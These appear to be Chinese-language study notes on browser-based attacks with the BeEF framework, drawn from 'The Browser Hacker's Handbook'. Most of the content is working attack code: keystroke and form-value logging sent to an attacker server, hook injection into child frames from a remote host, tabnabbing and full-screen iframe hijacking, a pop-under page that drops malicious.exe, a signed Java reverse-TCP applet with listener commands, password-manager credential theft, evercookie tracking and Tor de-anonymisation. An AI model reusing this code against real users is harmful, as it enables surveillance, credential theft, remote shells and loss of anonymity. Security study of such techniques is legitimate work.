攻击用户
攻击用户
内容劫持
在被勾连的浏览器中替换页面内容,可以诱导用户访问经过特意构造的内容或触发特定的操作。
- 示例
- 获取当前页面的代码(BeEF——GetPageHTML)
try { var html_head = document.head.innerHTML.toString(); } catch(e){ var html_head = "Error: document has no head"; } try { var html_body = document.body.innerHTML.toString(); } catch(e) { var html_body = "Error: document has no body"; } beef.net.send("<%= @command_url %>", <%= @command_id %>, 'head='+html_head+'&body='+html_body); //将结果提交回BeEF服务器
- 假设勾连的页面包含以下内容
<div id="header">This is the title of my page</div> <div id="content">This is where most of the content of my page rests. And this page has lots of interesting content</div>
- 在不影响其他元素的前提下操作header
document.getElementById('header').innerHTML="Evil Defaced Header";
- 简化代码(jQuery)
$j('#header').html('Evil Defaced Header');
- 获取当前页面的代码(BeEF——GetPageHTML)
- BeEF提供的模块
- Replace Content(Deface)——只能整体替换document.body内容
document.body.innerHTML = "<%= @deface_content %>"; //替换document.body的HTML代码,但通过@deface_content添加的<script>元素并不会自动执行以及添加到文档的head中。 document.title = "<%= @deface_title %>"; //重写document.title属性 beef.browser.changeFavicon("<%= @deface_favicon %>"); //替换页面图标
- Replace Component (Deface)
- 示例
var result = $j('<%= @deface_selector %>').each(function() { $j(this).html('<%= @deface_content %>'); }).length; beef.net.send("<%= @command_url %>", <%= @command_id %>, "result=Defaced " + result +" elements");
- 示例
- 自动重写DOM元素内容
- 替换HREF:循环替换所有<a>元素的HREF属性
- 替换HREF(点击事件)
- 替换HREF(HTTPS):把所有指向https://站点的链接改写为http://协议
- 替换HREF(TEL):把页面中所有的tel://链接更改为一个你指定的新电话号码
- 替换视频:把页面中所有的元素替换为嵌入式YouTube视频。
- Replace Content(Deface)——只能整体替换document.body内容
捕获用户输入
DOM自身的分层结构,使得事件在触发时通常会先向上(顶层DOM)传输,然后再向下(底层DOM)传输。
焦点事件
- 监听focus事件
- 示例1
IE6、8不支持addEventListener(),但有addachEvent()函数代替。window.addEventListener("focus", function(event) { alert("The window has been focused"); })
- 简化代码
$j(window).focus(function(event) { alert("The window has been focused"); })
- 示例1
- 捕获blur事件
$j(window).focus(function(event) { alert("The window has been focused"); }).blur(function(event) { alert("The window has lost focus"); });
- 与焦点相关的事件(触发的次序)
- focusin:在目标元素真正获得焦点之前触发。
- focus:在目标元素真正获得焦点时触发。
- Focusout:在目标元素改变焦点之后触发。
- blur:在目标元素失去焦点时触发。
键盘事件
- 键盘事件
- keydown:当一个键被按下时。
- keypress:当一个键被按下时,但是这个键需要有一个相关联的值。
- keyup:当一个键被松开时。
- BeEF的流程
- 为事件绑定响应函数
$j(document).keypress( function(e) { beef.logger.keypress(e); } //e包含了携带信息的事件对象 ); //探测用户输入数据的元素是否发生过变化,当检测到元素改变时,之前输入的字符会被提交回BeEF: keypress: function(e) { if (this.target == null || ($j(this.target).get(0) !== $j(e.target).get(0))) { beef.logger.push_stream(); //核对保存在stream数组中的所有按键事件 this.target = e.target; } this.stream.push({'char':e.which, 'modifiers': {'alt':e.altKey, 'ctrl':e.ctrlKey, 'shift':e.shiftKey} } ); }
- 为事件绑定响应函数
- 兼容性
为了兼容性,DOM通过event对象上的key和char属性来定义不同的键值。- 选择和定义键值的参考标准
- 如果按键的功能是生成一个可打印的字符
- 在键值中包含有效的字符:
- key 属性必须为键值组成的字符串
- char 属性必须为char 值组成的字符串
- 在键值中不包含有效的字符:
- key 属性必须为char 值组成的字符串
- value 属性必须为char 值组成的字符串
- 在键值中包含有效的字符:
- 如果按键是一个功能键或者修改键
- 在键值中包含有效的字符
- key 属性必须为键值组成的字符串
- char 属性必须为空字符串
- 在键值中不包含有效的字符,则创建一个键值
- 在键值中包含有效的字符
- 如果按键的功能是生成一个可打印的字符
- 选择和定义键值的参考标准
鼠标和指针事件
- 与鼠标事件的区别:是由未配置鼠标的设备(比如智能手机和平板电脑)触发。
- 示例
- 捕获用户每一次点击文档的事件
document.addEventListener("click", function(event) { //对鼠标的click事件绑定了一个监听函数 alert("X: "+event.screenX+", Y: "+event.screenY); });
- 捕获用户每一次点击文档的事件
- 鼠标事件类型
- mousemove:鼠标从元素上移动
- mouseover:鼠标移入元素的边界
- mouseenter:与mouseover类似,但事件不会冒泡至父元素
- mouseout:鼠标移出元素的边界
- mouseleave:与mouseleave类似,但事件不会冒泡至父元素
- mousedown:在元素上按下鼠标键
- mouseup:在元素上松开鼠标键
表单事件
- 在DOM中所有表单的submit事件上绑定beef.logger.submit()函数
$j('form').submit( function(e) {beef.logger.submit(e); } });
- beef.logger.submit()函数通过遍历表单,取出所有输入框的值(包括隐藏元素),然后把它们发送回BeEF服务器:
/** * 只要有表单提交,就将激发submit函数 */ submit: function(e) { try { var f = new beef.logger.e(); var values = ""; f.type = 'submit'; f.target = beef.logger.get_dom_identifier(e.target); for (var i = 0; i < e.target.elements.length; i++) { values += "["+i+"]"; values +=e.target.elements[i].name; values +="="+e.target.elements[i].value+"\n"; } f.data = 'Action: '+$j(e.target).attr('action'); f.data += ' - Method: '+$j(e.target).attr('method'); f.data += ' - Values:\n'+values; this.events.push(f); } catch(e) {} }
IFrame案件记录
可以在SOP的范围内,向其他IFrame绑定JavaScript。
- BeEF的DOM记录模块
- 循环遍历当前DOM中的frame,尝试对每个同源的IFrame 重新下钩子。
- 实现——beef.browser.hookChildFrames()
/** * 勾连当前窗口中的所有子框架 * 存在同源策略限制 */ hookChildFrames:function(){ //创建script对象 var script = document.createElement('script'); script.type = 'text/javascript'; script.src = '<%== @beef_proto %>://<%== @beef_host %>: <%== @beef_port %><%== @hook_file %>'; //迭代子框架 for (var i=0;i<self.frames.length;i++) { try { //添加勾连脚本 self.frames[i].document.body.appendChild(script); } catch (e) { } } }
- BeEF的IFrame Event Logger模块
社会工程
标签绑架
对于拥有控制权的标签页,可以在其不可见时替换其中的内容或页面地址。
- BeEF——TabNabbing命令模块
- 示例——获得用户离开勾连窗口的时长
var idle_timer;
begin_countdown=function() {
idle_timer=setTimeout(function() {
performComplicatedBackgroundFunction();
}, 60000); //计时1分钟后执行performComplicatedBackgroundFunction()
}
$j(window).blur(function(e) {
begin_countdown(); //窗口触发blur事件时调用
}
$j(window).focus=function() {
clearTimeout(idle_timer); //用户返回标签页时停止定时器
}
全屏
如果你已经攻陷了一个页面,而且希望能够持续对勾连浏览器进行控制,可以将勾连的DOM中所有的当前链接重写,以把它们加载到全屏的IFrame。
- 示例
-
创建全屏IFrame
createIframe: function(type, params, styles, onload) { var css={}; if (type == 'hidden') { css = $j.extend(true, {'border':'none', 'width':'1px', 'height':'1px', 'display':'none', 'visibility':'hidden'}, styles); } if (type == 'fullscreen') { css = $j.extend(true, {'border':'none', 'background-color':'white', 'width':'100%', 'height':'100%', 'position':'absolute', 'top':'0px', 'left':'0px'}, styles); $j('body').css({'padding':'0px', 'margin':'0px'}); } var iframe=$j('<iframe />').attr(params).css(css).load(onload).prependTo('body'); return iframe; }
-
对DOM中所有锚点元素的遍历
$j('a').click(function(event) { if ($j(this).attr('href') != '') { //判断当前链接中是否包含HREF属性,包含则覆盖 event.preventDefault(); //调用preventDefault()函数,阻止该事件在事件流中继续传播 beef.dom.createIframe('fullscreen', {'src':$j(this).attr('href')}, {}, null); //调用createIframe()函数,创建一个全屏大小的IFrame,其源为链接的HREF属性值 $j(document).attr('title',$j(this).html()); //禁用当前文档的滚动条,并将其样式中的overflow属性设置为hidden。 document.body.scroll = "no"; document.documentElement.style.overflow = 'hidden'; } });
-
屏蔽切换全屏模式代码的差异
function requestFullScreen() { if (elementPrototype.requestFullscreen) { document.documentElement.requestFullscreen(); } else if (elementPrototype.webkitRequestFullScreen) { document.documentElement.webkitRequestFullScreen(Element.ALLOW_KEYBOARD_INPUT); } else if (elementPrototype.mozRequestFullScreen) { document.documentElement.mozRequestFullScreen(); } else { /* can't go fullscreen */ } }
-
UI期望滥用
- 非模态通知:在不干扰用户的前提下提升可用性。
- 特点
- 即便窗口处于后台运行,非模态通知仍然可以正常显示
- 键盘快捷键同样适用于通知栏
- 可以使用Tab键在通知栏上切换焦点
- 非模态通知栏与导航窗口绑定,所以它们会随着窗口的移动、变形或关闭而做出相应的变化
- 特点
- 攻击流程
- 用jQuery弹出功能在窗口中弹出一个弹窗
- 弹出窗口的同时下载一个可执行程序
- 尽管模态通知已经发出,但对用户来说是不可见的,因为打开的弹窗正好被遮挡在当前导航窗口下
- 该弹窗尽管仍处在后台,但是已经获得了焦点
- 使用一些社会工程学的技巧,让用户自觉自愿地按下R键、空格键或Enter键
- 示例
- 包含攻击的页面
<!DOCTYPE html> <html> <head> <!-- with IE9, the focus of the pop-under is on the notification bar, which facilitates the attack --> <meta http-equiv="X-UA-Compatible" content="IE=EmulateIE7" /> </head> <body> <h2>Private Forum <br> <h3>Click the button to start registration <div> <button onclick="loadpopunder()">Start</button> //点击Start按钮,执行loadpopunder()函数 </div> <script> function loadpopunder(){ win3=window.open('popunder.html','', 'top=0, left=0,width=500,height=500'); //弹出一个新窗口加载popunder.html页面 win3.blur(); document.write("Loading..."); document.location="captcha.html"; //随后跳转至captcha.html页面 doit(); } function doit(){ win3=window.open('popunder.html','', 'top=0, left=0,width=500,height=500'); win3.blur(); } </script> </body> </html>
- popunder.html页面,当用户在攻击页面点击按钮时会加载此页面
<!DOCTYPE html> <html> <head> <meta charset="utf-8" /> <!-- with IE9, the focus of the pop-under is on the notification bar, which facilitates the attack --> <meta http-equiv="X-UA-Compatible" content="IE=EmulateIE7" /> <title>Exploit Demo</title> </head> <body style='height: 1000px' > <iframe id="f1" width="100" height="100"></iframe> <script type="text/javascript"> document.getElementById("f1").src="malicious.exe"; </script> </body> </html>
- captcha.html页面,加载完popunder.html页面后会自动跳转到此页面
<!DOCTYPE html> <html> <head> <!-- with IE9, the focus of the pop-under is on the notification bar, which facilitates the attack --> <meta http-equiv="X-UA-Compatible" content="IE=EmulateIE7" /> </head> <body> <h2>To proceed with registration we need to verify you are not a bot... <br> <h3>Type the text shown below:</h3> <img src="blink.gif"></img> <img src="captcha.png" style="position:absolute; top:120px; left:170px"></img> </body> </html>
- 包含攻击的页面
- 天敌
- 用户访问控制(UAC)
- IE的SmartScreen筛选器
经过签名的Java 小程序
- 需要文件:JavaPayload
- 使用流程
- 编译有效载荷(Applet_ReverseTCP.jar)
java -cp JavaPayload.jar javapayload.builder.AppletJarBuilder ReverseTCP
- 生成密钥并对编译后的文件签名
keytool -keystore <keyfile> -genkey jarsigner -keystore <keyfile> Applet_ReverseTCP.jar mykey
- 打开攻击机的监听器
java -cp JavaPayload.jar javapayload.handler.stager.StagerHandler ReverseTCP <Listening IP><Listening TCP Port> -- JSh
- 加载攻击程序的JavaScript代码
beef.dom.attachApplet(applet_id, applet_name, 'javapayload.loader.AppletLoader', null, applet_archive, [{'argc':'5', 'arg0':'ReverseTCP', 'arg1':attacker_ip, 'arg2':attacker_port, 'arg3':'--', 'arg4':'JSh'}]);
- 编译有效载荷(Applet_ReverseTCP.jar)
隐私攻击
不基于Cookie的会话追踪
- 基础——Evercookie库
- BeEF对应——get_hook_session_id()函数
ec: new evercookie(), //创建evercookie对象 get_hook_session_id: function() { var id = this.ec.evercookie_cookie("BEEFHOOK"); //先查询cookie if (typeof id == 'undefined') { var id = this.ec.evercookie_userdata("BEEFHOOK"); //再查询userdata } if (typeof id == 'undefined') { var id = this.ec.evercookie_window("BEEFHOOK"); //最后查询window数据 } if ((typeof id == 'undefined') || (id == null)) { id = this.gen_hook_session_id(); this.set_hook_session_id(id); } return id; }
绕过匿名机制
- 确定是否使用了匿名机制
- 检测浏览器是否使用Tor
- 特点
- Tor使用匿名服务协议实现了服务端匿名
- 匿名服务只能在Tor网络内使用
- 检测原理
DeepSearch(http://xycpusearchon2mc.onion)是一个只能在Tor网络内使用的搜索索引,只能在通过适当配置的本地代理连接到Tor网络时才能访问。如果通过浏览器可以访问其logo(http://xycpusearchon2mc.onion/deeplogo.jpg),则表明浏览器正在Tor网络中。 - 检测实现
- BeEF——Detect Tor
- 相关代码
//创建一个新图像标签并设置属性 var img = new Image(); img.setAttribute("style","visibility:hidden"); img.setAttribute("width","0"); img.setAttribute("height","0"); img.src = '<%= @tor_resource %>'; //设置URL img.id = 'torimg'; img.setAttribute("attr","start"); img.onerror = function() { this.setAttribute("attr","error"); //用于监听加载失败 }; img.onload = function() { this.setAttribute("attr","load"); //用于监听加载成功 }; document.body.appendChild(img); //在预定时间后检查图像的状态 setTimeout(function() { var img = document.getElementById('torimg'); if (img.getAttribute("attr") == "error") { beef.net.send('<%= @command_url %>', <%= @command_id %>, 'result=Browser is not behind Tor'); } else if (img.getAttribute("attr") == "load") { beef.net.send('<%= @command_url %>', <%= @command_id %>, 'result=Browser is behind Tor'); } else if (img.getAttribute("attr") == "start") { beef.net.send('<%= @command_url %>', <%= @command_id %>, 'result=Browser timed out. Cannot determine if browser is behind Tor'); }; document.body.removeChild(img); }, <%= @timeout %>);
- 相关代码
- BeEF——Detect Tor
- 特点
- 检测浏览器是否使用Tor
- 获得用户真实IP
- 强制浏览器向你所控制的DNS服务器发起DNS请求
- 要求:浏览器仅设置网络流量使用Tor代理,而DNS请求不使用
- 方法:在DOM中添加一个image对象,并将image的URL设为由你控制的DNS负责解析的域名下的任意网址。
- 借助于Java小程序或者Flash文件
- 使用BeEF提供的Get Physical Location模块来绕过匿名
- 强制浏览器向你所控制的DNS服务器发起DNS请求
攻击密码管理器
- 防止密码管理器滥用的主要方法
对于要提交的表单中的密码框输入添加autocomplete="off"标记,以阻止浏览器缓存该字段。 - 攻击
- 前提:从源中找到一个XSS漏洞,然后猜出用户名和密码的字段名
- 相关代码
function getCreds(){ var users = new Array('user','username','un'); //设置猜测的用户名的字段名 var pass = new Array('pass','password','pw'); //设置猜测的密码的字段名 un = pw = ""; //获得用户名 for( var i = 0; i < users.length; i++) { if (document.getElementById(users[i])) { un += document.getElementById(users[i]).value; } } //获得密码 for( var i = 0; i < pass.length; i++) { if (document.getElementById(pass[i])) { pw += document.getElementById(pass[i]).value; } } alert(un + "|" + pw); document.getElementById('myform').style.visibility='hidden'; window.clearInterval(check); } document.write(" <div id='myform'> <form > <input type='text' name='user'"); document.write(" id='user' value='' autocomplete='on' size=1> <input "); document.write("type='text' name='username' id='username' value='' "); document.write("autocomplete='on' size=1> <input type='text' name='un'"); document.write(" id='un' value='' autocomplete='on' size=1> <input type="); document.write("'password' name='pass' id='pass' value='' autocomplete='on'"); document.write("><br> <input type='password' name='password' id='password' "); document.write("value='' autocomplete='on'><br> <input type='password' "); document.write("name='pw' id='pw' value='' autocomplete='on'><br> </form>"); document.write("</div>"); check = window.setInterval("getCreds()",100);
控制摄像头和麦克风
- BeEF的WebcamPermission Check模块(封装在SWF文件中)
- 功能
透明地检查浏览器的配置——是否允许访问摄像头或麦克风。 - 使用
- 需要设置的JavaScript全局函数
- noPermissions
- yesPermissions
- naPermissions
- 预先定义swfobject.embedSWF()的回调函数——swfobjectCallback(负责向BeEF服务器上报SWF文件是否成功加载)
var swfobjectCallback = function(e) { if(e.success){ beef.net.send("<%= @command_url %>", <%= @command_id %>, "result=Swfobject successfully added flash object to the victim page"); } else { beef.net.send("<%= @command_url %>", <%= @command_id %>, "result=Swfobject was not able to add the swf file to the page. This could mean there was no flash plugin installed."); } }
- 该SWF文件随后被嵌入DOM,而后cameraCheck.swf开始运行。将会检查Web摄像头的可用性,然后根据结果调用不同的全局函数。
- 需要设置的JavaScript全局函数
- 功能
- BeEF的Webcam模块(封装在SWF文件中)
- 功能
尝试激活摄像头并拍一些照片。 - 使用
- 采用与WebcamPermission Check模块类似的方法加载takeit.swf文件
- 功能
参考文献
《黑客攻防技术宝典——浏览器》